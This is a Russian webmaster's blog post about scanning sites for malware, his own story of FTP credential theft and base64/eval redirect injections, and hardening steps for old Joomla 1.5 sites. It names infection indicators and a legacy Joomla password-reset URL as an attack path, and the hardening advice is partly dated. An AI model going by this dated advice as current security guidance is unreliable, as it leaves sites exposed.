Проверка сайта на вирусы — чем проверять, как удалять вирусы и почему это так важно

Обновлено 27 января 2024 Просмотров: 178 534 Автор: Дмитрий Петров

Здравствуйте, уважаемые читатели блога KtoNaNovenkogo.ru. Сегодня хочу поднять проблему заражения сайтов вирусами, ибо для меня и многих других вебмастеров она стала злободневной и весьма актуальной.

У всех, наверное, на компьютере стоит антивирус и считается, что достаточно будет вовремя обновлять CMS и включенные в нем плагины (читайте про мои плагины на WordPress блоге), чтобы обезопасить себя от заражения. Но зачастую враг заходит с тыла, а именно с вашего собственного компьютера (как это случилось у меня).

Коллаж на тему проверки сайта на вирусы

Поэтому в начале статьи я хочу сразу же привести способы проверки сайта на вирусы (онлайн, скриптом или локально), а также дать рекомендации, чтобы вы не наступали на те же грабли, что и я, подвергнув заражению все свои интернет проекты и получив частичную или даже полную их блокировку в поисковых системах. Страшно?

По крайней мере, на текущий момент ситуация у меня разруливается, ну, а у вас, опираясь на мой опыт, должно пройти все гораздо быстрее или не возникнуть вовсе. Поехали.

Как проверить сайт на вирусы онлайн

Оптимальным вариантом будет не заражаться вообще, а если это все-таки случилось, то лучше, когда вы сами заметите вирус на своем сайте, а не узнаете об этом при его блокировке в поисковой выдаче или используемом вами браузере.

Поисковые системы вынуждены идти на такие жесткие меры, чтобы избежать повальной эпидемии, однако ресурсам, попавшим под их горячую руку, приходится не сладко (в продолжении этой статьи я подробно опишу свои ощущения по этому поводу).

Кстати, санкции поисковиков не всегда бывают своевременными и обоснованными, а используемая ими в данный момент система обнаружения и блокирования вирусов находится, можно сказать, в зачаточном состоянии.

Это можно будет увидеть по описанному мною чуть ниже примеру, или же вспомнить историю с блокировкой в выдаче большого числа форумов рунета, т.к. Радикал (фотохостинг, которую все используют для загрузки фото) попал в список сайтов распространяющих вирусы (случайно или оправдано — не совсем понятно). Поэтому все другие ресурсы, подгружающие с него медиа данные, тоже были заблокированы (похожая ситуация произошла и со мной, но об этом мы поговорим чуть ниже).

Внимание! Сразу после обнаружения заражения сохраните лог-файлы доступа к вашему серверу (или запросите их у хостера). В зависимости от настроек сервера они могут периодически удаляться, а без них будет довольно проблематично найти пути взлома и те уязвимости, которыми воспользовались зловреды, чтобы предотвратить повторное заражение.

Итак, как же можно проверить свой сайт на вирусы? Для этого могут подойти популярные онлайн сервисы проверки, которые я приведу в этом списке, а вы его дополните (при желании) в комментариях:

  1. ВирусТотал — популярный онлайн инструмент, позволяющий проверить на вирусы не только сайты, но и файлы на вашем компьютере. На главной странице вам как раз и предложат загрузить файл для проверки, а для инспекции сайта нужно будет перейти по ссылке «scan a URL»:

    Как просканировать сайт в ВирусТотал

    Лично я установил плагин для Оперы с одноименным названием, который по сути ничего особенного не делает, но упрощает процедуру проверки. Сейчас это онлайн сервис, по-моему, выкуплен Гуглом.

  2. Xseo — уже упоминал этот ресурс при обзоре способов проведения бесплатного анализа сайта. Ну вот, а сейчас он еще научился и на вирусы проверять:

    Проверка по вирусным база в Xseo

    Причем, он не только прогоняет указанную страницу по известным ему антивирусным базам, но и проверяет ресурс на присутствие в списке опасных (блокируемых) по версии Гугла и Яндекса, а так же в списке фишинговых ресурсов, что может быть тоже полезно.

Кроме онлайн сервисов можно проверить сайт на вирусы следующими способами:

  1. Выкачать все файлы с веб сервера на свой компьютер (все той же Файлзилой, например) и прогнать их через установленный у вас антивирус. Как показано чуть ниже, Доктор Веб, пусть и с опозданием, но все же опознал в том зловреде, что мне встретился, вирус, а также нашел его и в других зараженных файлах.

    Для лечения лучше всего удалить код руками, ну или просто заменить зараженные файлы на здоровые из имеющегося у вас бэкапа или из здорового дистрибутива вашего движка.

  2. Есть скрипт под названием Айболит, который можно бесплатно скачать и закинуть в корневую папку вашего сайта, а потом запустить из адресной строки браузера. Он проверит наиболее уязвимые файлы на вирусы, шеллы, эксплойты и прочую гадость, после чего вынесет свой вердикт. Подробности читайте по приведенной ссылке. Правда на слабом хостинге данный скрипт может и не отработать.

    Что умеет делать скрипт поиска вирусов на сайта Ай-Болит

    В этом случае, как мне кажется, можно будет выкачать сайт на компьютер, установить интерпретатор языка PHP для виндовс и следовать инструкциям из этого короткого ролика от самого автора Айболита:

  3. Для того, чтобы наверняка убедиться в непогрешимости вашего ресурса перед поиском, неплохо было бы пройтись по панелям для вебмастеров от Яндекса и Гугла, и посмотреть, нет ли записей о найденных вирусах в соответствующих разделах. У панели Яндекса это вкладка «Безопасность» из левого меню, а в панели Google — «Состояние» — «Вредоносные программы». Скриншоты и пояснения ищите чуть ниже по тексту.
  4. Еще можно узнать, а были ли в Гугле к вашему ресурсы за последние три месяца претензии в отношении вирусов. Для этого просто вставьте в адресную строку браузера следующий УРЛ, заменив в нем мой домен, на свой:

    http://www.google.com/safebrowsing/diagnostic?site=ktonanovenkogo.ru&hl=ru

    Мой устрашающий скриншот вы сможете найти внизу статьи, а здесь вам покажу прегрешения самого Гугла в плане заражения вирусами других сайтов:

    Проверка сайта Гугл.ру на вирусы и ужасающие результаты

    Видимо это говорит о том, что либо все мы не без греха, либо о несовершенстве современных алгоритмов поиска вирусной угрозы.

Что делать при заражении и как от него уберечься

Не так давно появилось видео от команды Яндекса на тему что делать при заражении вирусом, где были освещены следующие моменты:

  1. Какие типы заражения существуют?
  2. Как найти вредоносный код на сайте?
  3. Что нужно сделать в первую очередь:
    1. Поменять пароли (на ftp и ssh доступ в первую очередь, а также к базе данных и административной панели)

Даже если вы удалите вредоносный код с сайта, то, не приняв описанные выше меры безопасности, вы сильно рискуете заразиться вирусом снова.

Для поиска вирусного кода можно воспользоваться подсказками выводимыми в Яндекс Вебмастере или посмотреть в его хелпе примеры скриптов, которые следует искать. Если совсем ничего не понимате, то пишите в техподдержку через Вебмастер (в правой колонке всегда присутствует соответствующая ссылка). После обсуждения вам в конце концов просто укажут место, откуда следует удалить вирус (ну и как это сделать, наверное, тоже подскажут).

Как проверить действие вируса на сайте самому? Нужно очистить кэш в браузере, удалить куки и зайти на свой ресурс с поисковой выдачи, чтобы вредоносный код не понял, что вы владелец и не скрыл от вас свою сущность. Подробнее смотрите в приведенном чуть ниже видео.

Проверьте файлы скриптов на наличие обфускации (запутывание кода — ярко выделяется на общем фоне), а также загляните в .htaccess, лежащий в корне сайта и в других папках, где он имеет место быть. В .htaccess злоумышленники очень часто добавляют код мобильного редиректа — посетители вашего сайта, зашедшие со смартфонов или планшетов, будут перенаправляться на какой-то другой ресурс.

Еще хуже, если в .htaccess вирус добавит обычный редирект, ибо в последнем случае ваш сайт может быть вообще полностью удален из выдачи поисковой системы. Иногда заражение происходит даже на уровне сервера, когда в Apache добавляют специальный модуль, который и является вирусом.

Если есть бэкап дистрибутива движка, то можно с помощью программ или онлайн сервисов (например, DIFF CHECKER) сравнить текущее содержимое движка с тем, что было до вирусной атаки.

Ну или можно будет просто удалить все файлы на сервере и залить то, что имеется в вашем бэкапе. Возможно, что что-то из расширений или внесенных изменений придется добавить повторно, но это все же лучше, чем жить с вирусом.

А теперь анонсированные рекомендации, позволяющие несколько снизить вероятность заражения вирусами сайтов — так сказать, превентивные меры (чуть ниже я их еще раз повторю, но уже в контексте истории моего заражения):

  1. Надежный антивирус со свежей базой. Какой именно не знаю, но идеальных не существует. Лично я пользую Доктора Веба.
  2. Что-нибудь в дополнение к нему. Со времени заражения юзаю Malwarebytes Anti-Malware, как в качестве сканера, так и в качестве монитора. Особой нагрузки не создает и умеет блокировать потенциально опасные сайты.
  3. Советую маниакально относиться к обновлению движка своего вебсайта (как обновить WordPress и обновление Joomla), а также плагинов и расширений для него.
  4. То же самое касается обновления браузеров, Фтп менеджеров, флеш плееров, Джавы и прочей ерунды, через которую могут утянуть пароли или внедрить вирус.
  5. Всегда актуальна проблема с безопасным хранение паролей, в том числе и в файлзиле (по умолчанию они там не шифруются). Для себя я нашел решение в виде программы для хранения паролей KeePass.

    Пароли довольно удобным и безопасным способом передаются из нее в Файлзилу, которая была, в свою очередь, обучена не оставлять никаких следов на компе, чтобы вирус не смог бы ничего подобрать (подробнее читайте по приведенной ссылке). Можно будет также усилить защиту, поставив пароль на компьютер, папку или флешку в TrueCrypt.

  6. Дочитать эту статью до конца, чтобы понять какой я был самонадеянный дурак и вынести урок из моих ошибок.

Зачем нужна проверка сайта на вирусы

Моя история заражения началась в середине ноября 2012 года и очень хочу надеяться, что сейчас уже закончилась. Я имею в виду заражение вирусами большинства сайтов, к которым я имею на данный момент отношение, как вебмастер. Какая-то странная у меня натура (видать русский до мозга костей) в плане защиты от предполагаемой угрозы — все время полагаюсь на авось.

В результате потерял несколько десятков тысяч рублей при взломе своего WebMoney кошелька (нет бы сразу подключить авторизацию через Enum и спать спокойно), а теперь еще огреб кучу не нужных проблем с блокировкой сайтов Гуглом и Яндексом за распространение и заражение компьютеров пользователей вирусами.

По счастливой случайности KtoNaNovenkogo.ru не приложило по полной программе, а только накрыло ударной волной, хотя могло бы и... Но давайте обо все по порядку. Моя светлая вера в то, что кража виртуальных денег и заражение сайтов вирусами происходит с кем угодно, но только не со мной, да и к тому же проблемой взлома и заражения должны озабочиваться разработчики специально предназначенного для безопасной работы программы (WebMoney Keeper и ДокторВеба). Пусть у них голова болит.

В общем, троян на мой компьютер пробрался довольно обыденно и не один, а в компании десятков других. Был даже вариант с блокировкой экрана (баннер с требование оплатить доступ к своему собственному компу), который я довольно легко обошел. ДокторВеб периодически ругался на зараженные объекты, но ничего плохого по большому счету в течение года не происходило. Осуществлять полную антивирусную проверку системы было не с руки, ибо долго и при этом невозможно полноценно работать с компом из-за его лагания.

Ну и в один «прекрасный» вечер, когда я основательно измученный написанием и публикацией очередного опуса предвкушал полутора или двух часовой заслуженный отдых за просмотром очередного шедевра буржуйского кинематографа, случилось страшное непонятное. Моя чудесная RSS лента стала выдавать ошибку. Ну, думаю, нормально, наверно сервер сейчас перегружен и через полчасика все само собой нормализуется.

Как бы не так. Пришлось лезть в свой аккаунт на Фидбернере и пытаться найти причину сего безобразия. Решил сначала проверить встроенным в этот сервис дебагером тот RSS поток, что отдавал мой блог. Оказалось, что в конце кода RSS ленты размещены теги подгрузки какого-то скрипта с подозрительно аброкодабрским названием. Его в коде ленты быть никак не могло, да еще прописанным в самом конце (с боку припеку).

Поиск в сети по названию скрипта ничего не дал (видимо случайно сгенерированное название). Ладно, думаю, теперь придется вспоминать откуда растут ноги у RSS в WordPress, лезть в код и с моими куцыми мозгами пытаться чего-то править. Однако, осознав сложность этого процесса, решил поискать более легких путей, а именно посмотрел код самой страницы, с только что опубликованной статьей.

И о ужас, внизу стоял вызов того же самого загадочного скрипта. Полез еще раз в инет уже с запросами, связанными с вирусами на сайте и путями их проверки и обнаружения. Наткнулся на совет в первую очередь заглянуть в файл index.php, который проживает в корневой папке. Ну и слегка опешил — в самом его низу был прописан вызов этого скрипта.

Кем прописан? Ну уж точно не мной, ибо пьяным не был давно и лунатизмом тоже не страдаю. Ощущение было, как серпом... Я не избранный и не неуязвимый, а мой блог не заговоренный от взлома и заражения вирусами. Ну, я быстренько вызов этого скрипта из index.php убрал. Скопировал все файлы блога по ФТП на компьютер (читайте про резервное копирование) и с помощью встроенной в Total возможности поиска по содержимому файлов попытался найти его следы в других файлах.

Фу... Нигде ничего. Воспользовавшись советами все из того же интернета (как много пользы принесла всемирная паутина в нашу жизнь и как много новых опасностей породила вместе с этим) я занялся сменой паролей доступа к своему блогу со всех сторон: панель управления хостинга, панель управления виртуальным сервером, данные доступа к сайту по ФТП и пароль для базы данных.

Все поменял и одновременно порадовался, что поиск скорее всего факт заражения не заметил, ведь у меня включено кэширование посредством Hyper Cache с недельным сроком жизни собранных Html страничек. Но вездесущий Гугл как всегда все успел заметить, проиндексировать и учесть. Правда санкций и блокировок в этот раз не последовало, за что ему, в общем-то, спасибо, ибо мог бы и покосить.

Однако, спустя месяц один из читателей обратился ко мне с вопросом по поводу обнаруженных Google на его сайте вирусов и просил пояснить, что делать и как понимать данные по его домену на странице «Безопасный просмотр» этой поисковой системы. Честно говоря я подобную страницу видел только раз, при заражении клиентского сайта, который я делал сто лет назад и который умудрился за это время что-то подцепить. Точнее, там в .htaccess были редиректы прописаны на ресурсы, заражающие компьютеры пользователей. Но не суть.

Этот Уважаемый читатель не только страницу «Безопасный просмотр» для своего сайта привел, но и указал, что для моего домена (что такое доменные имена) такая страница тоже имеет запись о факте заражения KtoNaNovenkogo.ru трояном и это произошло по крайней мере меньше, чем 90 дней назад:

Запись о заражении сайта трояном

Надпись обведенная оранжевой рамочкой появилась несколько позже и об этом у меня тоже имеется душещипательная история полная тайн, загадок и посыпания головы пеплом. Кстати, вы и сами можете посмотреть возможные вирусные рекламации и претензии, которые имеет великий и ужасный Гугл к вашему ресурсу. Просто замените в этой строчке мой домен на свой. Не страшно?

http://www.google.com/safebrowsing/diagnostic?site=ktonanovenkogo.ru&hl=ru

В общем, Google ничего не пропустил и поставил мой блог на контроль, как неблагонадежный в плане возможного заражения вирусом, хотя в то время количество найденных им зараженных страниц равнялось нулю. Сейчас нет, а раз было когда-то, то и в будущем надо держать меня по колпаком, чтобы в случае чего сразу и прихлопнуть.

Через пару дней у меня начал проседать трафик с этой поисковой системы и на сегодняшний день он ниже того, что было раньше примерно на четверть (правда, на фоне роста числа посетителей с Яндекса это сейчас не так заметно). Связано это с проскочившим вирусом? А Гугл его знает.

Но этого мне было мало и я, видимо, решил еще больше усугубить ситуацию своей по истине русской беспечностью, ибо предположил, что был заражен лишь один единственный сайт из тех, с которыми я работаю на своем компе. Оказалось, что это не так и путем логических размышлений и заключений сейчас могу сказать, что были вытащены пароли из моего Фтп менеджера FileZilla.

Что примечательно, я отчетливо помню, что садясь писать тот самый опус, при публикации которого и обнаружился вирус на сайте, я традиционно запустил Файлзилу, ибо загружаю иллюстрации (скриншоты снимаю и обрабатываю в Snagit) на блог не встроенными в WordPress средствами, а напрямую на хостинг по ФТП. И этот самый Файлзила сразу же пожелал обновиться, а я его остановил, ибо не хотелось терять на это время. Скорее всего, это было обновление безопасности, хотя, конечно же, не факт.

Но по любому, одним из основных способов защиты от взлома и заражения вирусом компа или сайта служит своевременное обновление программного обеспечения. Эти обновления зачастую обусловлены именно обнаруженными и залатанными дырами в безопасности, а не добавлением нового функционала. Тем более, что как потом выяснилось, у меня и браузеры, и флеш плеер, и Java не были вовремя обновлены.

Как раз не задолго до этого читал, что в Java была найдена очередная дырка и рекомендовали обновиться. Ну... мы же (т.е. я же) люди занятые и тратить время на пустяки, которые, скорее всего, и не пригодятся, некогда. Ну, вот и получил трояна на комп, а потом и вирус на сайт. Прям как с кошельком вебмани — все по накатанной.

Все то же самое я повторил и на компьютерах своих домочадцев, которые сидят со мной в одной локальной сети. Они, правда, по началу катили бочку на Malwarebytes Anti-Malware, который блокировал некоторые их любимые сайты, но после объяснения процесса добавления таких ресурсов в Черный список этой софтины стоны и плачи сошли на нет.

Блокировка в Гугле и Яндексе за наличие вирусов на сайте

Таким образом я укрепил тылы, совсем забыв не догадываясь о том, что враг уже получил то, что ему было нужно — доступ ко всем пяти сайтам, пароли к которым были забиты в установленной на моем компе Файлзиле. Времени у врага было много и чистить файлы на веб сервере от последствий его вмешательства мне пришлось уже гораздо дольше.

Вторая волна неприятностей, связанных с проникновением вирусов или зловредов, накатила уже после новогодних праздников. Не помню что случилось раньше, а что позже, поэтому расскажу, как расскажу. С одного молодого, но перспективного сайта сильно просел трафик в праздники. Это нормально, но ненормальным было то, что этот трафик ну никак не хотел возвращаться.

Я стал искать причину методом научного тыка и каким-то образом очутился в выдаче Яндекса, где этот самый проект занимал второе место по СЧ запросу. Позиция осталась неизменной, а трафика нет. Загадка. Почему-то решил перейти по ссылке из этой выдачи и был немало удивлен тем, что на свой ресурс я не попал, а попал куда-то не туда.

Прозрение пришло довольно быстро, ибо я опять же нашел в index.php из корня этого вебсайта (уже в его начале) целый блок закодированного в base64 зловредного кода. Там еще перед ним стоял eval, который тоже косвенно указывал на то, что сайт пора проверять на вирусы.

Вообще, base64 сам по себе довольно часто используется, например, в него закодированы красивые зеленые галочки на KtoNaNovenkogo.ru, которые вы можете наблюдать в блоке «Использую для заработка» (верху справа). В моем файле стилей style.css это выглядит так:

Вот так может выглядеть код вируса в файлах вашего сайта

Вот, а тот фрагмент закодированного вирусного скрипта (не картинки, как в примере) выглядел еще более объемным. Расшифровывать я его не стал, ибо и так все было ясно. Нашелся этот вирус не только в index.php, но и еще в двух файлах из корня сайта (не вручную, конечно же, а с помощью поиска по содержимому файлов в Тотал Коммандере).

Кстати, я оставил зараженный архив с бекапом вебсайта как трофей и сейчас, попытавшись открыть файл index.php, получил предупреждение от Доктора Веба (десять дней назад он молчал как рыба):

Проверка файлов сайта сканером Доктор Веб и отображение найденных вирусов

Ну и при полной проверке архива с зараженным бэкапом сайта, Доктор Веб как раз и нашел те три файла с вирусом редиректа:

Перечисление зараженных файлов, которые нашел Доктор Веб

Я, конечно же, не специалист, но осмелюсь предположить, что данная сигнатура еще не была добавлена в базу Доктора Веба на тот момент, а появилась в нем относительно недавно. Во всяком случае открывать файлы с этим вирусом Доктор мне тогда никак не препятствовал.

Почистив сайт я сразу же заметил проклюнувшийся трафик, который теперь шел по нужному руслу, а не был подло перенаправлен на какую-то партнерку. На душе полегчало, но поиск не оставил это дело без внимания. Дней через пять этот молодой сайт был заблокирован и Яндексом, и Гуглом, как распространяющий зловредов и трафик опять упал практически до нуля. Обидно было то, что зловредов там уже не было, а реакция поиска оказалась явно запоздалой.

Однако, спорить с ними я не стал, а просто пошел в панель Гугла для Вебмастеров и на вкладке «Состояние» — «Вредоносные программы» нажал на кнопку, отправляющую сайт на пересмотр. Естественно, что приведенный там пример уже зловредов не содержал. Извините, но тогда было не до снятия скриншотов, а в случае отсутствия найденных на сайте вирусов кнопка отправки на пересмотр не появляется. Но вы ее и без меня найдете — прямо над списком найденных проблемных страниц:

Просмотр информации о заражении сайта вирусом в панели Гугла

Дальше я зашел в панель Яндекса для Вебмастеров и убедился, что на вкладке «Безопасность» мой сайт тоже признали распространителем вирусов и заблочили. Кнопки отправки на пересмотр там не было, поэтому я просто написал в их техподдержку (ссылка в правой колонке). Скрины тогда тоже не делал, поэтому показываю на чистом примере:

Проверка наличия вредоносного кода на сайте в Яндекс Вебмастере

Не помню, кто отреагировал раньше (по-моему, все-таки Яндекс), но примерно через сутки или двое исчезла информация о найденных на сайте вирусах из панелей для Вебмастеров, а еще через некоторое время были сняты и блокировки в поисковой выдаче и браузерах. Они заключались в невозможности перейти на этот ресурс из поисковой выдачи и блокировки их открытия в некоторых популярных браузерах.

Это были браузер Google (понятно почему), Яндекс браузер и Фаерфокс до кучи, ибо там стояло соответствующее расширение, которое, получив от Гугла сигнал о наличии вируса, уверено блочило сайт, хотя три десятка других источников вирусной опасности, где это приложение тоже черпало информацию, говорили, что все в порядке. С Google ведь не поспоришь.

В общем, на данный момент трафик к этому проекту вернулся в полном объеме и соотношение посетителей, приходящих с обоих поисковых машин, осталось неизменным. Это радует. Но все могло бы быть гораздо проще и прозаичнее, не поленись я еще в ноябре, когда прозвенел первый звоночек, поменять пароли доступа по ФТП не только у KtoNaNovenkogo.ru, но и у всех остальных сайтов.

А так история имела продолжение. В один прекрасный момент, редактируя в Notepad++ файл стилевой разметки CSS одного из сайтов, я столкнулся со странной проблемой.

Мне нужно было добавить горизонтальное выпадающее меню на один из проектов. Я прошел по приведенной ссылке, но не стал использовать этот конструктор, а перешел с него по рекламной ссылке на CSS3 Menu, где и скачал бесплатную версию программы, которой с лихвой хватило для моих задач.

Выпадающее меню сделал за пару минут и проверил его работоспособность в браузере. Все замечательно функциклировало, но при переносе его на сайт начались траблы. Не сохранялся файл стилей или же сохранялся как-то криво, в результате чего шаблон перекашивало. При этом файлзила выдавала какую-то ошибку и несколько раз предлагала повторить сохранение отредактированного в Нотепаде файла.

После пары часов танцев с бубном (гений, б...) я все же решил прочитать, что же писала в логе Файлзила и понял, что попросту не хватает места на хостинге для сохранения этого файла. И это при 10 Гб лимита. Однако. Не поверите, но виноват был опять вирус. Все мои сайты, кроме KtoNaNovenkogo.ru, живут на одном аккаунте Инфобокса и, как выяснилось чуть позже, папка с кешем одного из проектов, построенных на Joomla 1,5, стала весить более 8 гигов и включала в себя около 300 тысяч файлов.

С помощью встроенных в админку Joomla средств очистки кеша сделать было ничего не возможно, равно как и через любой ФТП менеджер или же инструмент работы с файлами в панели управления хостинга. Пришлось обращаться в техподдержку хостинга, но даже им потребовалось минут двадцать на удаление папки с кешем.

Что примечательно, рядом с ней были размещены объекты (по-моему, cache.php и такой же с 1) с вирусом, который опять же был закодирован в base64. Чего он такого делал, что мой ресурс с посещалкой менее сотни уников в день генерировал кешированные страницы со скорость автомата, я не знаю, но после тщательного поиска и очистки (около десятков закодированных сигнатур нашел в самых разных местах движка) все пришло в норму и свободное пространство на хостинге перестало таять прямо на глазах.

Тут бы и сказочке конец, но не все так просто у «особо умных людей». Наверное, многие из вас заметили, что уже несколько месяцев я использовал на KtoNaNovenkogo.ru скрипт социального голосования, который замечательно работал и по большому счету оправдывал потраченные на его покупку средства (пятьсот рублей, по-моему). Старый виртуальный сервер у меня не справлялся с нагрузкой (сейчас на новый переезжаю) и я решил во избежании эксцессов установить скрипт на другой хостинг, благо его конструкция это позволяла сделать.

Нюанс заключается в том, что этот скрипт подгружает красивые картинки и кнопочки голосования через iframe. Ничего криминального, ибо iframe является достаточно востребованной сейчас технологией языка Html, которую, например, использует для расшаривания роликов видеохостинга Ю туб.

Но вот если iframe подгружает что-то с другого ресурса, а сайт этот попал в список зараженных вирусом у Гугла и Яндекса, то ничего хорошего от такой комбинации ждать не приходится.

Ну и по уже сложившейся практике (выбирать из возможных вариантов тот, что вызовет наибольшие проблемы в будущем), скрипт у меня был установлен под доменом того проекта на Joomla, который был сплошь испещрен шеллами и генерил сумасшедшими темпами кеш. В один «прекрасный момент», работая с KtoNaNovenkogo.ru в Хроме, я вдруг обнаруживаю, что браузер не дает мне зайти на одну из страниц, «громко» ругаясь и утверждая, что она для меня опасна в плане заражения компьютера вирусами. Приплыли.

Захотелось начать биться головой об стол (такое же желание у меня возникло и чуть позже, когда мой блог попал по фильры Яндекс и возможно Google).

На почту, кстати, практически одновременно пришло сообщение от Гугла на англицком (оно автоматически рассылается в таких случаях на адреса почты домена типа admin@ktonanovenkogo.ru, abusa@ktonanovenkogo.ru и т.п., поэтому не примените такие адреса завести, например, в почте Яндекса для домена, и начать их мониторить). Я, естественно, с дрожащими руками пошел в уже знакомый раздел интерфейса Г.Вебмастера смотреть насколько все плохо в плане вирусной опасности.

Оказалось, что заблокированы были не все страницы KtoNaNovenkogo.ru, а только 19 из них (именно о них и говорится в приведенном выше скриншоте окна «Безопасный просмотр» от Гугла), а при щелчке мышью по ним в панели Google Webmasters можно было прочитать о причине блокировки. Гигант поиска ругался на iframe социального голосования, который подгружал данные с зараженного вирусами сайта. Скриншоты не делал, ибо было не до этого.

Что примечательно, еще за дней пять до этих событий я тот злополучный сайт почистил (и в его панелях вебмастеров от Яндекса и Гугл про вирусы уже не было сказано ни слова), но доказывать это я не стал, а с выпученными глазами начал лихорадочно отыскивать все страницы своего блога, где выводились голосования и все коды их вызова удалять.

За час управился, быстренько отправил свой блог на пересмотр в панели Гугла для Вебмастеров и уже через несколько часов информация о вирусной опасности из этой панели исчезла, а еще через час снялась и блокировка якобы зараженных страниц в Хроме. В общем, пронесло, но нервов было потеряно приличное количество.

Оооочень надеюсь, что моя эпопея на этом закончилась, хотя бы на ближайшее время. Так же надеюсь, что вы не будете наступать на те же грабли, что и я, и при первой опасности или подозрении сбросите с себя лень и кинетесь менять пароли ко всему управлению теми сайтами, к которым по идеи могли бы дотянуться руки злоумышленников. А так же чистить комп от вирусов и усиливать противовирусную защиту.

Так же проверьте настройки отправки вам сообщений из панелей вебмастеров Яндекса и Гугла, ибо своевременное обнаружение опасности уже само по себе есть гуд. Лучше указывать те почтовые ящики (не важно Гмаила или же Яндекс почты), в которых вы мониторите периодически папку Спам, куда запросто могут попасть сообщения о заражении вашего сайта.

Ну, и упомянутыми чуть выше средствами онлайн проверки сайта на вирусы иногда пользуйтесь, а в случае подозрения можно будет выкачать файлы на комп и проверить антивирусом или скриптом Айболит на Денвере, если хостинг этой проверки не тянет.

Как защитить Joomla от вирусов и поставить защиту на админку

Как я уже упомянул выше, проблема заключается в постоянных взломах двух моих сайтов, которые работают под управлением Joomla . Можно считать их заброшенными, ибо новые материалы я на них не добавляю, но они исправно приносят доход (с размещения статей из Вебартекса, а также ссылок с Гогетлинкса). В общем, выбросить их жалко, а переводить на новую версию движка «в лом» (жалко потраченного времени и сил).

Остается либо постоянно мониторить нагрузку на сервер и при ее повышении искать среди файлов движков шелы и прочих зловредов, либо каким-то образом усиливать защиту. Для поиска зловредов я выкачиваю файлы движка на компьютер и проверяю их ДокторомВебом и Айболитом. Первый находит далеко не все, а последний видит врага слишком часто там, где его нет, но каких-то других эффективных способов я не знаю. Хотя, есть еще и онлайн-антивирус VirusTotal проверяющий файлы сразу в десятках программ, но это уже кому как удобнее.

Решил потратить день для поиска пути повышения безопасности сайтов. Сделать удалось совсем немного, но все же лучше, чем ничего. Давайте начнем с укрепления защиты (со снижения уязвимости) двух сайтов на Joomla . Было сделано следующее:

  1. Обновил Joomla до последней версии. Скачал обновление (полторашная версия там представлена в самом низу).
    Обновление проходит банально просто. Распаковываете скачанный архив и все имеющиеся в нем папки и файлы копируете в корень своего сайта. На вопрос о замене уже имеющихся на сервере файлов отвечаете «да». Все.
  2. Установил последний патч обновления безопасности для Joomla . Ставится он так же, как обновление — простым копированием имеющихся в архиве двух папок в корень вашего сайта по ФТП.
  3. В принципе, нужно было бы еще и все уставленные на этих сайтах расширения обновить до последней версии, ибо через дыры в их безопасности тоже могут ломать. Но у меня пока на это еще нет времени, поэтому я ограничился банальным удалением JCE, который в старых версиях, априори, имеет уязвимости для проникновения и внедрения вирусов.
  4. Дальше я последовал совету «из интернета» и убрал в одном из файлов Joomla директиву вывода версии движка, на котором работает сайт. «Знатоки» утверждают, что этим самым я на девяносто процентов себя обезопасил, ибо ломают сайты почти всегда не по заказу, а по «шаблону», т.е. находя с помощью банального поиска в Google или Яндекса (с использованием операторов) уязвимые движки или используемые на них «дырявые» расширения. Например, при просмотре исходного кода страниц своих сайтов на Joomla я четко видел указание движка в метатеге:
    <meta name="generator" content="Joomla! - Open Source Content Management" />

    Спрятав эту информацию от поисковиков, я должен выпасть из потенциальных списков на взлом очередного начинающего хакера.

    Внимание! Переде тем, как приступить к описанных ниже действиям, обязательно сохраните на компьютере копии тех файлов, где что-то будете менять (а еще лучше скачайте все файлы движка на комп). В любом случае «я в домике», ибо предупреждал...

    Для этого нужно подключиться к сайту по ФТП (например, с помощью Файлзилы, но опять же, напоминаю, что пароли в ней или каком-либо другом клиенте хранить нельзя, ибо трояны на вашем компьютере знают, как их оттуда выудить) и найти вот такой вот загадочный файл:

     /libraries/joomla/document/html/renderer/head.php

    Открываете его и ищите такую вот строку (например, внутренним поиском Нотепада++):

    $strHtml .= $tab.'<meta name="generator" content="'.$document->getGenerator().'" />'.$lnEnd;

    И сносите ее на фиг, после чего сохраняете произведенные изменения в файле и транслируете файл через Файлзилу на сервер в уже измененном виде. Ну, как бы и все. Хотя, нет. Если вы используете в Джумле кеширование, то указание версии движка сайта исчезнет с его страниц только после сброса кеша.

Как еще защитить Joomla от вирусов и потоковых взломов

  1. Также «специалисты» уверяют, что сайты на Joomla ломают «на раз-два» путем использования имеющейся в движке встроенной функции восстановления паролей (через нее якобы можно сменить пароль админа). Даже если вы регистрацию на своем сайте не используете и ссылку на восстановление нигде не выводите, то это не значит, что эту уязвимость вы прикрыли. Просто добавьте следующий фрагмент к урлу главной страницы своего сайта и получите искомую возможность:
    /index.php?option=com_user&view=reset

    Собственно, для закрытия этой лазейки (но вот как ей воспользоваться для взлома я так и не понял) можно просто удалить такой вот файлик:

    /components/com_user/models/reset.php
    Правда после этого никто из зарегистрированных у вас на сайте пользователей воспользоваться функцией восстановления паролей не сможет, но для меня это было не важно, ибо регистрации предусмотрено не было.
  2. А еще говорят, что такая полезная шняга, как просмотр позиций для модулей в шаблонах Joomla с помощью добавления к адресу страницы «?tp=1», тоже позволяет писателям вирусов и охотникам до чужого добра добраться-таки до каких-то чувствительных зон вашего сайта и внести в него деструктив, либо как-то по другому над ним надругаться. Штука эта опять же убирается путем правки одного из файлов движка.
    /libraries/Joomla/application/module/helper.php

    Там нужно удалить два фрагмента кода, или закомментировать, заключив их в /* и */ (этот код не будет выполняться интерпретатором языка). Первый фрагмент такой:

    if(count($result) == 0) {
     if(JRequest::getBool('tp')) {
     $result[0] = JModuleHelper::getModule( 'mod_'.$position );
     $result[0]->title = $position;
     $result[0]->content = $position;
     $result[0]->position = $position;
     }
    }

    А второй такой:

    if(JRequest::getBool('tp')) {
     $attribs['style'] .= ' outline';
    }

    Собственно, после этого сбрасываете кеш и пытаетесь просмотреть позиции модулей в вашем шаблоне с помощью такой вот конструкции:

    https://ktonanovenkogo.ru/?tp=1

    Ежели не получилось, то вы эту дыру, будем надеяться, закрыли.

  3. Очень часто взламывают сайты не снаружи, а изнутри. Трояны и кейлогены на вашем компе знают, что и где искать, поэтому не храните пароли в ФТП клиентах (есть вариант использовать Кипас для этого дела).

    Еще круче считается — отключить возможность доступа к вашему сайту по ФТП, а вместо этого использовать SFTP, где передаваемая информация (в том числе и пароли) шифруется, что делает бесполезным ее перехват. Я, если честно, последним советом пренебрегаю по причине своей «темности». Еще есть вариант настройки доступа к вашему сайту по обычному ФТП только с определенного IP адреса (вашего компьютера), но у моего интернет-провайдера IP динамический (меняется в определенном диапазоне).

